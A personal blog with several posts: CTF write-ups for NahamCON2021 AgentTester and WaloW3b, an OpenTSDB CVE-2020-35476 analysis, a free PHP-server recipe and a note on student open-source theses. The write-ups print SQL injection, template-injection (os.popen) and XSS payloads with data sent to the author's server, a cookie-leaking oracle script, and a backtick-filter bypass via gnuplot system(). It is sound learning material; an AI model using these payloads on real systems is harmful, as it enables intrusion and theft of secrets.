NahamCON2021 CTF / AgentTester Challenge / WriteUp

This weekend I have been playing a little bit with some of the challenges of the NathamCon2021 CTF. In the web category, I devoted some time to AgentTester. Even though it was initially tagged as «hard», then it was demoted to medium (surely enough because there was an unintended solution that I also took advantage of 🙂

AgentTester, designed by the great @jorgectf, includes a Dockerfile allowing you to test it using your personal docker container. 

First, you’ll need to build an image:

$ docker build -t agent-tester .

Double check that the images has been correctly built:

$ docker image ls
REPOSITORY                TAG       IMAGE ID       CREATED         SIZE
agent-tester              latest    58a61e41b476   3 minutes ago   1.45GB

And there you go. You can run your own web container, linked to tcp/3000:

Analyzing a little bit the source code of the Flask application,  we can see a simple web app with 4 route entries:

@app.route(«/», methods=[«GET»]) for the home

@app.route(«/debug», methods=[«POST»]) for debugging 

@app.route(«/profile/<int:user_id>», methods=[«GET», «POST»]) for profile management

@ws.route(«/req») This one sends a WebSocket message and initiates a request 

Let’s dig a little bit further:

/ route : it just shows the home page. There we can see a simple input text field and a Submit button. Reading the code it is clear that the user agent typed will be used to query a SQLite database in @ws.route(«/req»):

            query = db.session.execute(
                "SELECT userAgent, url FROM uAgents WHERE userAgent = '%s'" % uAgent

            uAgent = query["userAgent"]
            url = query["url"]

If there is a match, the associated URL will be visited by a headless chrome launched by this line:

 subprocess.Popen(["node", "browser/browser.js", url, uAgent])

That SQL query seems injectable, doesn’t it?

What do we have inside that SQLite database?

Oh, a user table, let’s see what’s inside…

And we also have an admin user. Let’s try to extract the password:

‘ union select password,’http://localhost’ from user where username=’admin

Here we go!

Now that we can impersonate the admin, let’s see what do we have in the /debug route:

@app.route("/debug", methods=["POST"])
def debug():
    sessionID = session.get("id", None)
    if sessionID == 1:
        code = request.form.get("code", "<h1>Safe Debug</h1>")
        return render_template_string(code)
        return "Not allowed."

Oh, admin has an ID=1, so no problem there. And the render_template_string() method seems SSTI injectable. Let’s check it…

Yep! This sentence did the trick:


And there we have, the CHALLENGE_FLAG is one of the environment variables, so we got the Flag using an unintended solution 🙂 Why is it unintended? Well, remember that we also have this unexplored route: 

@app.route("/profile/<int:user_id>", methods=["GET", "POST"]) for profile management

In fact, this profile page is a simple form with two fields, email and about. The later is somewhat  special because the author has added a suspicious security related comment near that input text: 

<div class="form-group">
          <label for="aboutInput">About</label>
          <!-- Let users set anything since only them can access their about. -->
          <input type="text" class="form-control" name="about" id="aboutInput"
          placeholder="A great haxor from <country>" value="{{ user.about|safe }}">

And, as you can see, it is XSS injectable. We can write whatever we want there due to the «|safe» clause.

Well, the AgentTesterv2 (hard web challenge, published after the unintended solution was unveiled) starts from here: the admin password is bcrypted so we can’t crack it. Now what? Well, my idea was the following: use the XSS to inject the following code:

fetch('http://vulnerable:3000/debug', {
  method: 'POST', // or 'PUT'
headers: new Headers({
             'Content-Type': 'application/x-www-form-urlencoded', 
  body: "code={{config.__class__.__init__.__globals__['os'].popen('env').read()}}",
.then(response => response.text())
.then(data => {
  console.log('Success:', data);
   resp = data;
.catch((error) => {
  console.error('Error:', error);

Or, more succinctly, this one-liner:

" autofocus onfocus="fetch('', {   method: 'POST',  headers: new Headers({              'Content-Type': 'application/x-www-form-urlencoded',      }),   body: 'code={{config.__class__.__init__.__globals__[\'os\'].popen(\'env\').read()}} ', }) .then(response => response.text()) .then(data => {   console.log('Success:', data);    resp = data;  new Image().src=''+resp;   })

As you can see, the field will get the (auto)focus and then run the XSS. It basically uses fetch to POST the STTI and exfiltrate the result to my own server (

Then, my idea was to instruct the headless chrome to visit this XSS profile, as follows:

' union select 'agente','

But,  unfortunately there is a flaw in my logic. Why? Well, first, let’s see what user is used to run the headless chrome: 

const puppeteer = require('puppeteer');
(async () => {
  const browser = await puppeteer.launch(
    {      args: [        '--no-sandbox',      ]    }
  const page = await browser.newPage();
  var url = process.argv[2];
  var uAgent = process.argv[3];
  var base_url = process.env.BASE_URL;

     'user-agent': uAgent,

  const cookies = [{
    'name': 'auth2',
    'value': '<REDACTED>',
    'domain': base_url,
    'httpOnly': true

The auth2 value of the cookie is set to the admin’s cookie. No problem here! you may think, the admin can access any profile, like the profile/2 URL in our case, can’t it? Well, the truth is that it can’t. In fact, each profile page can only be accessed by their own legitimate user.  So user_id=1 can’t access profile/2 or viceversa:

@app.route("/profile/<int:user_id>", methods=["GET", "POST"])
def profile(user_id):

    if == user_id:

And here we are, how to convince the crawler (run as user_id=1) to access a profile for user_id=2 that it is not supposed to be accessible… or how can I update the profile of user_id=1 as a user_id=2? No idea, man, but I’m eager to learn about it 🙂

Update: check the solution written by the author himself, this one by @lanjelot, and this one by @berji

Servidor web + PHP + nombre público a coste 0 en 2 minutos

Receta rápida para montar un servidor web con nombre público y soporte PHP, a coste 0, en 2 minutos.

1) Entra en Google Cloud Shell
Verás una terminal en el navegador (internamente usa Debian GNU/Linu 10)
Por defecto serás el usuario X (donde X es tu nombre en Gmail/Google)

2) Google Cloud Shell no es accesible desde el exterior (no te ofrece una IP pública, sino privada)

$ ifconfig

Puedes convertirte en root, tienes permisos de sudo. Así puedes instalar cualquier paquete.

El primero que necesitaremos es ngrok, así que vamos allá

$ wget
$ unzip

3) También necesitaremos tmux

$ sudo apt update
$ sudo apt install tmux

Listo, todo preparado.

4) Abrimos una sesión con tmux

$ tmux

Y creamos un simple script PHP:

$ echo «<?php phpinfo();»> info.php

Lanzamos ahora un servidor web con soporte PHP en el puerto 4444:

$ php -S

5) Abrimos otra ventana tmux. Para ello, pulsamos Ctrl+b y a continuación la tecla c (create)
Desde aquí creamos un túnel con ngrok, para que nos asigne un nombre accesible desde el exterior.

Lo conectamos con el puerto 4444. Todo ello con:

$ ngrok http 4444

6) Fin! Ya tenemos accesible nuestro server PHP desde el navegador, a través de un nombre público a coste 0. Por supuesto puedes instalar mysql o cualquier otra BBDD o lenguaje de scripting (nodejs, Ruby…)

PD: alguien puede argumentar que esto mismo se puede hacer en local y enlazar por ngrok. TRUE, pero el ancho de banda que ofrece Google seguro que mejora al que tienes en casa. Y en la shell de Google tendrás más de 20 GB libres. Rápido, barato y espacioso!

PD2: y otra razón es que puedes editar tus scripts desde el navegador y ver los resultados on-the-fly

Originally tweeted by juanan (@juanan) on 24 February, 2021.

Writeup WaloW3b

Walo Web nos propone dos botones, WaloCheck y WaloMsg. El autor del reto se ha preocupado también de crear un diseño de web ideal para dejarnos ciegos.  Gracias por el detalle, @jorge_ctf 🙂 Al pulsar en WaloCheck, podemos indicar una URL que será visitada por un navegador lanzado con Selenium (inicialmente con un FirefoxDriver, aunque por algún problema técnico se pasó a ChromiumDriver). 

Si en lugar de WaloCheck pulsamos en WaloMsg, se nos ofrece un formulario con un único input text para informar a alguien de que hemos pasado la prueba. Es extraño, porque no hay action, ni submit, … 

Afortunadamente, el reto incluye el código fuente usado internamente. Desde ahí podremos ver cómo está programado WaloCheck, WaloMsg y el browser lanzado por Selenium.

Instalar Redis, Selenium, Drivers

Lo primero que suelo hacer en estos casos es montar todo el reto en local para desarrollar más cómodamente el exploit. Suelo abrir una terminal con iTerm2 y la divido en paneles. 

Vamos allá. El reto usa redis para almacenar las URLs que le pedimos chequear, así que ponemos en marcha redis, no sin antes meterle un bind a la IP local en el fichero de configuración (/usr/local/etc/redis.conf):

$ redis-server /usr/local/etc/redis.conf

Podemos comprobar que el server está bien lanzándole un ping:

$ redis-cli -h ping

Luego dejamos un panel abierto contra redis para comprobar los checks pedidos:

$  redis-cli -h 

Por ejemplo, si pedimos (desde nuestro localhost) chequear, veremos algo como:

redis>  KEYS *
redis> get

Abrimos ahora otro panel para tener lanzada la aplicación Flask que se encarga de responder a walocheck y walomsg. Dejé preparados un script con las variables de entorno necesarias:

$ cat ./
export DB_PORT
export DB_HOST
$ ./

Y otro para dejar lanzado el script que se encarga de lanzar un browser headless, extraer una URL de redis y lanzar la conexión:

$ cat
export FLAG
export DB_PORT
export DB_HOST

Todo listo para empezar a estudiar el código de  y de

a fondo. Empecemos con Vemos que se lanza un browser Chromium en modo headless primero contra «» y luego se establece una cookie para las siguientes llamadas a, con 

driver.add_cookie({«name»: «flag», «value»: environ.get(«FLAG»), «httpOnly»: True, «sameSite»: «None», «Secure»: «True»}) 

Aquí no entendí muy bien por qué se hacía esa primera conexión contra noExists… hasta que revisé la documentación de Selenium, en concreto la sección de add-cookie:

«First of all, you need to be on the domain that the cookie will be valid for. If you are trying to preset cookies before you start interacting with a site and your homepage is large / takes a while to load an alternative is to find a smaller page on the site (typically the 404 page is small, e.g.»

OK, según la documentación hay que tener a Selenium apuntando al dominio al que se le va a asignar la cookie. Para que sea algo rápido, recomiendan apuntar a una página de carga rápida, como un HTTP/404.

En el método driver.add_cookie, vemos que se establece una cookie con la flag (mi tesoroooo) y muy interesante, un sameSite: None. Esto viene a querer decir que la cookie será enviada al navegador (siempre que se pida algo del dominio incluso aunque esa petición proceda de un iframe incrustado en una página de otro dominio. Por ejemplo, podemos crear una página en y dentro de la misma, incrustar un iframe que apunte a El iframe recibirá la cookie. Alguien puede decir, joe, pues ¿fácil no? Se crea un JS que acceda al document del iframe desde exploit.php y se captura la cookie. Fin. Bueno… sabiendo que es un reto de 600 puntos seguramente algo se nos esté pasando… Realmente no es posible hacer lo indicado por problemas de seguridad cross-site.

Me gusta esta respuesta de StackOverflow:
«You can’t. XSS protection. Cross site contents can not be read by javascript. No major browser will allow you that. I’m sorry, but this is a design flaw, you should drop the idea.»

Si intentamos hacerlo, recibiremos un bonito error del estilo:
«Uncaught DOMException: Blocked a frame with origin «» from accessing a cross-origin»

Aquí me quedé bastante bloqueado. Incluso pensé que era un bug del diseño del reto y que al autor se le olvidó meter una opción de Selenium que deshabilita esa protección:


Pero tras preguntarlo, la respuesta fue: «A walo no le gusta meterle más directivas a su browser… 😜»

Mal asunto. Así que, mientras seguía pensando en cómo saltarme esa restricción, pasé a estudiar el código del script

En la ruta index nada de interés, salvo una cookie flag con el valor whyisitnothere?.
En la ruta walocheck se guarda la url indicada en redis y poco más.
¿Y qué hay de la ruta walomsg? Esta es más interesante:

@app.route("/walomsg", methods=["GET"])
def walomsg():
    flag_p = request.args.get("flag")
    flag_c = request.cookies.get('flag')
    msg = request.args.get("msg")

    print(flag_p, flag_c, msg)

    if not flag_c or not flag_p or not msg:
        return "Something went wrong..."
    return render_template("check_msg.html", msg=search('[A-Za-z" ]+', msg).group(), check=flag_p in flag_c) # Make sure flag is valid

La ruta espera dos parámetros GET (flag, msg) y una COOKIE flag. Si están las tres, muestra el template check_msg.html pasándole una condición y una restricción. La restricción es que el contenido de la variable GET[‘msg’] sólo puede tener letras del alfabeto [A-Za-z» ]. Así que poco margen para una inyección XSS. Pero la condición «check» es muy interesante. Nos está diciendo que check será true cuando GET[‘flag’] sea un substring de COOKIE[‘flag]. Y tal y como hemos dicho antes, COOKIE[‘flag’] es la cookie con la flag que Selenium nos enviará a Oh, esto se pone divertido. Pero seguimos teniendo un problemón: no podemos acceder a ese contenido porque el navegador no nos lo permite.

Me gusta recapitular para ver qué demonios me estoy dejando en el tintero. Vamos allá. 1) La idea principal es crear una página . 2) Esa página incluirá un iframe con src = 3) Le voy a pedir a /walocheck que chequee 4) Selenium enviará la cookie al iframe. Y aquí tengo dos opciones: si paso las variables GET[‘flag’] y GET[‘msg’] correctas, se visualizará un pequeño formulario con un input text:

Si paso las variables incorrectas, no se visualizará dicho formulario. Pero claro, «visualizar» es un eufemismo, recordemos que ver, lo que se dice ver, no vamos a ver nada porque la petición va por Selenium a nuestro dominio. Hay que conseguir como sea consultar por JS si se cargó un iframe con el input text (las variables get y flag son correctas) o sin el input text.

Esta es la clave en este tipo de pruebas. Tener como mínimo un bit de información, true o false. Con eso nos bastará para determinar la cookie. El problema es que no podemos acceder a ese bit de información por un problema de seguridad del navegador (consultas JS cross-site están prohibidas por seguridad). Aaaaargghhh… estando tan cerca me tiraba de los pelos por no encontrar la forma. Me preguntaba a ver cómo conseguir saber que se cargó un iframe con un input sin poder consultarlo directamente por JS. Si al menos saltara algún evento que pudiera capturar… ¡BANG! ¿Podría hacer saltar un onfocus en el el input? No podemos inyectar nada que nos sirva en GET[‘msg’]… Pero hay una forma de poner el foco del navegador en un input… siempre que ese input tenga un id o un name asociado. Veamos el código:

Vaya, vaya… un id=»msg». ¿Y cómo conseguimos que ese id tome el foco? Con un URI fragment en la URL: #msg

Vamos a probar en mi máquina local. Asigno una cookie local en el navegador («whereitis», por ejemplo) para probar, y lanzo la siguiente consulta.


Si mis cálculos han sido correctos, el input con id=msg debe tomar el foco:

¡Tachán! Bueno, algo hemos avanzado. Ahora «sólo» queda saber cómo diablos detecto por JS que ese input ha tomado el foco (lo cual quiere decir que en GET[‘flag’] hemos pasado un substring que forma parte de la cookie).

Si intentamos incrustar en la página padre algo como:


Obtendremos el error que nos está mordiendo siempre de acceso a iframe entre DOMs cargados de distintos orígenes. Pero hay una forma más sencilla de saberlo, sin intentar acceder directamente al frame: document.activeElement

Si el foco lo tiene el input, document.activeElement será X
Si el foco lo tiene el body del documento principal, document.activeElement será Y

Y un último detalle. Al frame le llamaré exploit, así que para detectar la condición a), haremos lo siguiente: if ( == «exploit» ) . Ahora queda exfiltrar este TRUE. ¿Cómo? Una opción es inyectando una imagen de mi servidor (y tener monitorizado mi server para saber en qué momento se pide dicha imagen). En concreto, así:

if ( == "exploit" ) {
echo "document.write(\"<img src='" . $_GET['msg'] . "'>\");";
echo "console.log('" . $_GET['msg'] . "');";

(el server es un dominio dinámico que permite tunneling http…)

Tenemos todos los elementos necesarios para ir extrayendo la cookie, letra a letra. Aquí, idealmente habría que hacerlo por JS, creando un iframe, pasarle los parámetros adecuados, comprobar si pillamos foco. Si no, borrar iframe, ir a por la siguiente letra del alfabeto y repetir la jugada.

Lo intenté:
pero estaba cansado y mi script no terminó de funcionar O:)

Así que recurrí a la fuerza bruta. Probar primero todo un charset, letra a letra, para saber de qué letras se compone la cookie y luego, teniendo ese juego reducido de posibles caracteres, ir una a una a partir de CYBEX{…. hasta la última llave }.

Eso funcionó. Me llevó unas horitas, pero funcionó 🙂

Este es el exploit que permite el leak de la cookie, letra a letra:

El juego de caracteres era este:

word=$(echo '} a c f i l m s v w A B C E L O S T U X Y _ } { ¡ ! ¿ ? `' | fold -w 1)

y el encantamiento que probaba, letra a letra, era este:

for x in ${word}; do echo $x; curl --silent -k --data-urlencode "url={$x" > /dev/null ; sleep 30; done

Y por fin, pude dormir unas horas.

Analizando la vulnerabilidad CVE-2020-35476

Hoy he tenido un rato para trastear un poco con un nuevo CVE que me ha llamado la atención.

En la prueba de concepto (PoC) se ve que es un RCE sobre Opentsdb (CVE-2020-35476). RCE = Remote Code Execution, es un pez gordo, no un xss del montón 🙂

OpenTSDB se define como una base de datos de Time Series, distribuida, escalable implementada sobre HBase. El proyecto tiene web propia, y el código fuente en GitHub.

Si nos metemos en el issue, publicado el 18/11/2020, vemos que el código fuente afectado -en Java- no parece complicado:

private static String popParam(final Map<String, List<String>> querystring,
                                         final String param) {
        final List<String> params = querystring.remove(param);
        if (params == null) {
          return null;
        final String given = params.get(params.size() - 1);
        // TODO - far from perfect, should help a little.
        if *(given.contains("`") || given.contains("%60") || 
            given.contains("&#96;")) *{
          throw new BadRequestException("Parameter " + param + " contained a "
              + "back-tick. That's a no-no.");
        return given;

Se limita a obtener los parámetros a través de un hashmap y comprobar que en dichos parámetros no hay una tilde invertida (acento grave o backtick, en inglés). ¿Por qué filtrar una tilde invertida? Porque esos parámetros irán a formar parte de un script para plot que a su vez, será ejecutado como un shell script ( Y dentro de ese script podríamos ejecutar cualquier comando que llegue como parámetro si este está entre `tildes invertidas`.

A primera vista parece que el filtro es correcto. Para probarlo, abrimos un jshell y creamos una mini-clase Java que exponga el código afectado:


public class Proba { public static String popParam(final Map<String, List<String>> querystring,
                                              final String param) throws Exception {
             final List<String> params = querystring.remove(param);
             if (params == null) {
               return null;
             final String given = params.get(params.size() - 1);
             // TODO - far from perfect, should help a little.
             if (given.contains("`") || given.contains("%60") ||
                 given.contains("&#96;")) {
               throw new Exception("Parameter " + param + " contained a "
                   + "back-tick. That's a no-no.");
             return given;
           }  }

Y lo probamos:

jshell> List<String> q = new ArrayList<String>();
jshell> q.add("`id`")
jshell> Map<String, List<String>> querystring = new HashMap<String, List<String>>();
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
|  Exception java.lang.Exception: Parameter q contained a back-tick. That's a no-no.
|        at Proba.popParam (#1:11)
|        at (#6:1)

El resultado es correcto, lanza una excepción cuando intentamos engañarle con un comando entre acentos graves (`ìd`). Pero otra forma de ejecutar comando en GNU Plot es a través del comando system:

Y eso, claro, no lo filtra:

jshell> q.clear()
jshell> q.add("[33:system('touch/tmp/poc.txt')]")
jshell> querystring.put("q", q);
jshell> Proba.popParam(querystring, "q");
$13 ==> "[33:system('touch/tmp/poc.txt')]"

Lo curioso es que el bug sigue sin arreglar y ya empiezan a salir exploits, por ejemplo, éste del proyecto nuclei:

Más referencias:

CVE Database:

Proyectos Open Source en TFGs

Cada año en la escuela de ingeniería de Bilbao, los alumnos de 4º de Ingeniería Informática deben desarrollar su TFG. Muchas veces el proyecto consiste en implementar algún tipo de aplicación, normalmente desde 0. Algo que no cuadra con lo que se encontrarán ahí fuera…

Suele haber trabajos muy buenos pero la gran mayoría termina en los cajones de la biblioteca (repositorio online ADDI) Este curso 2019/2020 decidí cambiar ese destino.

La idea era convencer a tres alumno/as brillantes para que su TFG estuviera dirigido a mejorar una aplicación de código abierto usada a nivel internacional:…@GanttProject

Tres alumnos/as (Oihane, Anaitz y Urtzi) dieron el paso y han estado trabajando duro para corregir errores de la lista de bugs:

Este mes Oihane ha presentado su TFG con los resultados (9.8! 💪). Trabajar para mejorar una aplicación de software libre nos ha traído múltiples beneficios, tanto a los alumnos como al profesor. Y también el propio proyecto se ha visto beneficiado. Por múltiples razones:

Lo primero que han aprendido es a trabajar con el flujo de trabajo GitHub Flow… En concreto, cómo crear un fork, cómo mantenerlo actualizado con upstream, cómo crear ramas, generar Pull Requests al proyecto…

También aprenden a crear issues (documentar bugs o nuevas funcionalidades) y a discutirlos, a crear PRs y a hacer frente a los code-review 🙂


Deben persistir en el empeño durante días… Es fácil que un PR pueda llevar mucho más de lo esperado. Se acabó eso de “compila y funciona, ¡ya está!” No, ahora hay que pasar un control de calidad.

De hecho, aparte del code review, el código de los alumnos debe pasar los tests automáticos ejecutados por el sistema de integración continua de GanttProject.

Otro de los objetivos era crear documentación que realmente sirva en el futuro. En concreto, que sirva para que otros desarrolladores puedan empezar a contribuir con una curva de aprendizaje más suave que estos tres pioneros/as.

Me gustan los esquemas de diagramas de clase que han desarrollado de forma colaborativa


Y sobre todo, un tipo de diagrama al que no le sabemos poner nombre, pero que considero de los más importantes. Son pantallazos de la aplicación etiquetados con el nombre de las clases principales que implementan alguno de los componentes. Un ejemplo:


Esto, que puede parecer una tontería, es vital en un proyecto que contiene casi 800 clases Java y 95000 líneas de código.


Finalmente, el propio proyecto open source GanttProject también se ha visto beneficiado. Estos son los commits en la rama master de cada uno de los alumnos (que a su vez sirven para dar lustre a sus curriculum con posibilidad de verificación pública):


El curso que viene intentaré continuar con la idea. Y tal vez, extenderla hacia una asignatura (aunque me da vértigo, por el tiempo que requiere) en lugar de centrar los trabajos sobre OSS sólo en TFGs. ¿Alguien se anima a colaborar? 🙂